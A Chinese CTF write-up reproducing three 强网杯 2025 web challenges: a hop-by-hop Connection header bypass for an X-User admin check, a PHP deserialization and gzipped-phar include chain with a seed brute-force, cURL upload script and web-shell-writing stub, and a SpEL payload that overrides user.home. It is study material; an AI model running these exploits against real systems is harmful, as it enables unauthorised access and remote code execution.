强网杯2025 赛后复现

强网杯 2025 复现

当时做的时候就没什么精力,最后也是没做出东西来。有很多简单东西都做得少导致细节都不清楚,得继续加油了

Web

SecretVault

身份验证是一个强密钥的 jwt,也做了签名验证

有 admin 账户

没试出弱口令

login 的认证实际上是通过 go 中间件解析完身份后传递的 X-User 头,如果能直接访问到这个后端就可以伪造

复现:

参考 https://datatracker.ietf.org/doc/html/rfc2616#section-14.10

Connection 头是只对当前连接有效的选项(connection-specific options)。意味着它不能被代理(proxy)转发到后续的连接中。也就是说,它们只在当前客户端和服务器(或代理)之间的这一跳(hop-by-hop)有效,而不是端到端(end-to-end)有效。

因此,在 Connection 头中出现的 token 都会在响应头中被删除,因为这些头不能传输到下一个节点,例如:

Connection: Upgrade
Upgrade: websocket

代理看到 Connection: Upgrade,就知道 Upgrade 是一个 hop-by-hop 头,于是在转发时必须删掉 Upgrade 头,否则下游服务器可能会误解。

虽然 HTTP/1.0 本来没有 Connection 头的概念,但有些 HTTP/1.0 实现会用它(比如 Connection: Keep-Alive)。为了兼容,即使收到的是 HTTP/1.0 消息,只要它有 Connection 头,接收方也必须按规则删除对应的头字段。这是为了防止旧版代理错误地转发 hop-by-hop 头。

这种头删除特性并不是把这个请求头给直接去除,而是以一种置空的形式去除的

在本题中,前端遇到置空的头会认作0,也就是admin的uid,因此构造一个Connection头存在X-User即可提权

Connection: X-User

这题的关键词是 hop-by-hop 请求头

HTTP 请求转发那些事:你可能不知道的 Hop-by-hop Headers 和 End-to-end Headers

HTTP Hop-by-Hop 请求_nginx hop by hop-CSDN 博客

ezphp

<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));
function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomString = '';
    for ($i = 0;
    $i < $length;
    $i++) {
        $r = rand(0, strlen($characters)  -  1);
        $randomString .= $characters[$r];
    }

    return $randomString;
}

date_default_timezone_set('Asia/Shanghai');
class test {
    public $readflag;
    public $f;
    public $key;
    public function __construct() {
        $this -  > readflag = new class {
            public function __construct() {
                if (isset($_FILES['file']) && $_FILES['file']['error'] == 0)  {
                    $time = date('Hi');
                    $filename = $GLOBALS['filename'];
                    $seed = $time . intval($filename);
                    mt_srand($seed);
                    $uploadDir = 'uploads/';
                    $files = glob($uploadDir . '*');
                    foreach ($files as $file) {
                        if (is_file($file)) unlink($file);
                    }

                    $randomStr = generateRandomString(8);
                    $newFilename = $time . '.' . $randomStr . '.' . 'jpg';
                    $GLOBALS['file'] = $newFilename;
                    $uploadedFile = $_FILES['file']['tmp_name'];
                    $uploadPath = $uploadDir . $newFilename;
                    if (system("cp ".$uploadedFile." ". $uploadPath))  {
                        echo "success upload!";
                    } else {
                        echo "error";
                    }

                }

            }

            public function __wakeup() {
                phpinfo();
            }

            public function readflag() {
                function readflag() {
                    if (isset($GLOBALS['file']))  {
                        $file = $GLOBALS['file'];
                        $file = basename($file);
                        if (preg_match('/:\/\//', $file))die("error");
                        $file_content = file_get_contents("uploads/" . $file);
                        if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content))  {
                            die("Illegal content detected in the file.");
                        }
                        include("uploads/" . $file);
                    }

                }

            }

        };
    } //__construct

    public function __destruct() {
        $func = $this -  > f;
        $GLOBALS['filename'] = $this -  > readflag;
        if ($this -  > key == 'class')new $func();
        else if ($this -  > key == 'func')  {
            $func();
        } else {
            highlight_file('index.php');
        }

    }
 }

$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);

先看漏洞点

public function readflag() {
                function readflag() {
                    if (isset($GLOBALS['file'])) {
                        $file = $GLOBALS['file'];
                        $file = basename($file);
                        if (preg_match('/:\/\//', $file))die("error");
                        $file_content = file_get_contents("uploads/" . $file);
                        if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
                            die("Illegal content detected in the file.");
                        }
                        include("uploads/" . $file);
                    }
                }
            }

这里有一个嵌套函数调用,可以进行文件包含,但是过滤了 <?等,可能可以考虑脏数据绕过正则

但是嵌套函数需要外部被调用才会定义,同时调用也要在这个函数里调用

如果要在外部调用需要先调用外层让内层函数被定义

$test = new test();
$test->readflag->readflag();
readflag();

函数调用点在这里

public function __destruct() {
        $func = $this->f;
        $GLOBALS['filename'] = $this->readflag;
        if ($this->key == 'class')new $func(); else if ($this->key == 'func') {
            $func();
        } else {
            echo "";
        }
    }

但是这样的话只能调用一次函数,就没办法走到内层,所以需要两次

$test1 = new test();
$test1 -> key = "func";
$test1 -> f = [$test1 -> readflag,'readflag'];//用回调调用匿名类的方法

unset($test1);//模拟test1的destruct

$test2 = new test();
$test2 -> key = "func";
$test2 -> f = "readflag";

下面就是序列化的问题,匿名类没办法序列化,readflag 里的匿名类会在构造函数定义,但是这个回调的调用没办法重新定义,在这里就卡住了

复现:

我们可以通过 get_class()的方式查看匿名类的序列化情况

<?php
$t = new class { };
echo get_class($t) . "\n";

eval ('$test = new class{};');
echo get_class($test) . "\n";

/*
class@anonymousC:\Users\xNftrOne\PhpstormProjects\helloOne\test2.php:2$0
class@anonymousC:\Users\xNftrOne\PhpstormProjects\helloOne\test2.php(5) : eval()'d code:1$1

通过 url 编码可以发现其中有一个 %00,由此可以看到匿名类类名的规则是

class@anonymousmailto:class@anonymous + %00 + 路径 + : + 定义的行号 + $ 匿名类序号

如果是 eval 中的就是

class@anonymousmailto:class@anonymous + %00 + 路径 + : + (eval 的行号) + eval()'d code: + eval 中定义的行号 + $ 匿名类序号

所以我们可以这样调用到 readflag

$test1 = new test();
$test1->key = "func";
$test1->f = ["class@anonymous\00/var/www/html/index.php(1) : eval()'d code:1$0", 'readflag'];

$test2 = new test();
$test2 -> key = "func";
$test2 -> f = "readflag";

$payload = [$test1, $test2];

源代码是在 eval 中的一行,因此 eval 行号为 1,要传递着去调用来保证函数被定义,所以需要构造成一个 list

下面看进去之后的文件包含

function readflag()
    {
        if (isset($GLOBALS['file'])) {
            $file = $GLOBALS['file'];
            $file = basename($file);
            if (preg_match('/:\/\//', $file))
                die("error");
            $file_content = file_get_contents("uploads/" . $file);
            if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
                die("Illegal content detected in the file.");
            }
            include("uploads/" . $file);
        }

    }

有文件内容 waf,并且通过 basename 获取文件名,没办法使用伪协议

想到之前做 phar 文件上传的绕过 trick,考虑 gzip 压缩然后 phar 的方式读取

然后看文件上传

function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomString = '';
    for ($i = 0;
    $i < $length;
    $i++) {
        $r = rand(0, strlen($characters)  -  1);
        $randomString .= $characters[$r];
    }

    return $randomString;
}
...
public function __construct() {
    if (isset($_FILES['file']) && $_FILES['file']['error'] == 0)  {
        $time = date('Hi');
        $filename = $GLOBALS['filename'];
        $seed = $time . intval($filename);
        mt_srand($seed);
        $uploadDir = 'uploads/';
        $files = glob($uploadDir . '*');
        foreach ($files as $file) {
            if (is_file($file)) unlink($file);
        }

        $randomStr = generateRandomString(8);
        $newFilename = $time . '.' . $randomStr . '.' . 'jpg';
        $GLOBALS['file'] = $newFilename;
        $uploadedFile = $_FILES['file']['tmp_name'];
        $uploadPath = $uploadDir . $newFilename;
        if (system("cp ".$uploadedFile." ". $uploadPath))  {
            echo "success upload!";
        } else {
            echo "error";
        }

    }

}

对文件名进行了随机化处理得到 8 个字母组成的字符

这里借用星盟师傅的一张图

可以看见 phar 的判断逻辑只需要包含.phar 就行,甚至不需要是扩展名

所以我们通过 filename 尝试控制 seed,让生成的字符串为 pharxxxx 即可

参考当 include 邂逅 phar——DeadsecCTF2025 baby-web – fushulingのblog

我们可以这样构造 phar

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
    system('echo "<?php system(\$_GET[1]); ?>" > 1.php');
    __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

随后 gzip 压缩一下就可以

对于文件名这个,我的第一想法是不停地传总能碰到的(

当然也可以用爆破的思路弄出一个能一次出 phar 的 seed

这里直接给到一位师傅的 wp

<?php
function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomString = '';
    **for** ($i = 0; $i < $length; $i++) {
        $r = rand(0, strlen($characters) - 1);
        $randomString .= $characters[$r];
    }
    return $randomString;
}
date_default_timezone_set('Asia/Shanghai');
$time = date('Hi'); //date在一段时间内固定,及时发包即可

//爆破filename控制最终文件名
for ($filename = 1; $filename <= 999999999999999999; $filename++) {
    $seed = $time . intval($filename);
    srand($seed);
    $randomStr = generateRandomString(8);
    $newFilename = $time . '.' . $randomStr . '.' . 'jpg';

    **echo** $time . "---" . $seed . "---" . $filename . "---" . $newFilename . "\n\n\n";

    if (strpos($randomStr, 'phar') === 0) {
        echo "Found 'phar' in filename! Stopping.\n";
        break;
    }
}


class test {
    public $readflag;
    public $f;
    public $key;

    public function __construct()//构造方法置空防止反序列化问题
    {
    }

}

//触发构造方法上传文件
$o1 = new test();
$o1->f = 'test';
$o1->key = 'class';
echo"---------------". $filename . "------------";
$o1->readflag = $filename;

//触发匿名类函数加载内部方法
$o2 = new test();
$o2->f = ["class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$0", 'readflag'];
$o2->key = 'func';

//触发内部方法文件包含
$o3 = new test();
$o3->f = 'readflag';
$o3->key = 'func';

$arr = [$o1, $o2, $o3];
$ser = serialize($arr);
echo urlencode($ser);

function sendrequest($url, $payload)
{
    $ch = curl_init();
    
    //上传构造好的恶意gzip
    $postData = [
        'file' => new CURLFile('./phpinfo.phar.gz', 'application/gzip', 'file.txt')
    ];

    curl_setopt_array($ch, [
        CURLOPT_URL => $url . '?land=' . $payload,
        CURLOPT_POST => **true**,
        CURLOPT_POSTFIELDS => $postData,
        CURLOPT_RETURNTRANSFER => **true**,
        CURLOPT_SSL_VERIFYPEER => **false**,
        CURLOPT_TIMEOUT => 30,
    ]);

    $response = curl_exec($ch);
    $error = curl_error($ch);
    curl_close($ch);

    if ($error) {
        echo "cURL Error: " . $error;
    } else {
        echo $response;
    }
}


$url = "";
sendrequest($url,urlencode($ser));


?>

值得一提的是,在翻看其他师傅的 wp 时发现是这样构造回调函数的

$test2->f = urldecode("%00readflag/var/www/html/index.php(1) : eval()'d code:1$1");
\0readflag/var/www/html/index.php(1) : eval()\'d code:1$序号

这种构造方法两个 wp 没有给出参考的文章,但是 lamentXU 师傅提了一嘴

那我们暂且不去深究了

在复现过程中看到的另一道文件包含 trick

hxp CTF 2021 - The End Of LFI? - 跳跳糖

其实是 filter 链 rce,不过讲的非常清楚,学习了 ✍️✍️✍️

bbjv

只有 spring 依赖

执行一个 SPEL,然后在执行结果后面追加 flag?这是什么逻辑

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.gateway.controller;

import com.ctf.gateway.service.EvaluationService;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class GatewayController {
    private final EvaluationService evaluationService;

    public GatewayController(EvaluationService evaluationService) {
        this.evaluationService = evaluationService;
    }

    @GetMapping({"/check"})
    public String checkRule(@RequestParam String rule) throws FileNotFoundException {
        String result = this.evaluationService.evaluate(rule);
        File flagFile = new File(System._getProperty_("user.home"), "flag.txt");
        if (flagFile.exists()) {
            try {
                BufferedReader br = new BufferedReader(new FileReader(flagFile));

                try {
                    String content = br.readLine();
                    result = result + "<br><b>\ud83d\udea9 Flag:</b> " + content;
                } catch (Throwable var8) {
                    try {
                        br.close();
                    } catch (Throwable var7) {
                        var8.addSuppressed(var7);
                    }

                    throw var8;
                }

                br.close();
            } catch (IOException var9) {
                IOException e = var9;
                throw new RuntimeException(e);
            }
        }

        return result;
    }
}

需要 flag.txt 在用户目录,难道这是一个找 flag 游戏吗。。

好吧,这里不能直接 spel 注入

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.gateway.config;

import com.ctf.gateway.accessor.SecurePropertyAccessor;
import java.util.Properties;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.PropertyAccessor;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

@Configuration
public class SpelConfig {
    public SpelConfig() {
    }

    @Bean({"systemProperties"})
    public Properties systemProperties() {
        return System._getProperties_();
    }

    @Bean({"restrictedEvalContext"})
    public EvaluationContext restrictedEvaluationContext(@Qualifier("systemProperties") Properties systemProperties) {
        SimpleEvaluationContext simpleContext = SimpleEvaluationContext.forPropertyAccessors(new PropertyAccessor[]{new SecurePropertyAccessor()}).build();
        simpleContext.setVariable("systemProperties", systemProperties);
        return simpleContext;
    }
}

SimpleEvaluationContext 是一个安全上下文,会把各种危险的操作 ban 掉

但是把系统变量塞进了 systemProperties 上下文里,可以访问到

package com.ctf.gateway.accessor;

import org.springframework.expression.AccessException;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.spel.support.ReflectivePropertyAccessor;

public class SecurePropertyAccessor extends ReflectivePropertyAccessor {
    public SecurePropertyAccessor() {}

    public boolean canRead(EvaluationContext context, Object target, String name) throws AccessException {
        return false;
    }
}

这个就是继承了属性访问器,把所有可读权限都关了

理论上来说这里只有 ${systemProperties} 可以执行,但是我直接打就 400,url 编码打就回显本身。。

复现:

这里陷入了一个误区,一直在跟着 ai 打错误的模板

所以这里整理一下 spel 的几种可能会用到的表达式

  • #{...} 定界符,用于 注解、XML 配置、模板中 如:@Value("#{systemProperties['user.home']}")
  • T(...) 类型表达式,用于指定实例,可以调用静态方法 如:T(Java.lang.Math).random()
  • @ Bean 引用,可以查找并访问 Bean 的属性或方法,前提是配置了 Bean 解析器 如:@student.getname()
  • # 引用变量,变量通过 setVariable()方法来设置,如本题的:#systemProperties

在 SpEL 中,表达式解析和求值的流程可以分为三个关键部分:

  • ExpressionParser:负责将字符串表达式解析为 Expression 对象,类似于“编译器”将代码转为可执行单元。
  • EvaluationContext:提供表达式求值时的上下文环境,包含变量、属性解析器、类型转换器等,类似于“运行时环境”。
  • Expression:表示解析后的表达式对象,负责在特定上下文中计算结果,类似于“可执行的函数”。

因此本题最终的 payload 为

#{#systemProperties['user.home']='/tmp'}

修改一下 home 目录即可,flag 路径是在 dockerfile 中泄露的

说是这个 cve

https://psytester.github.io/CVE-2025-41243_Spring_SpEL_property_modification/

posted @ 2025-10-24 22:08  xNftrOne  阅读(169)  评论(0)    收藏  举报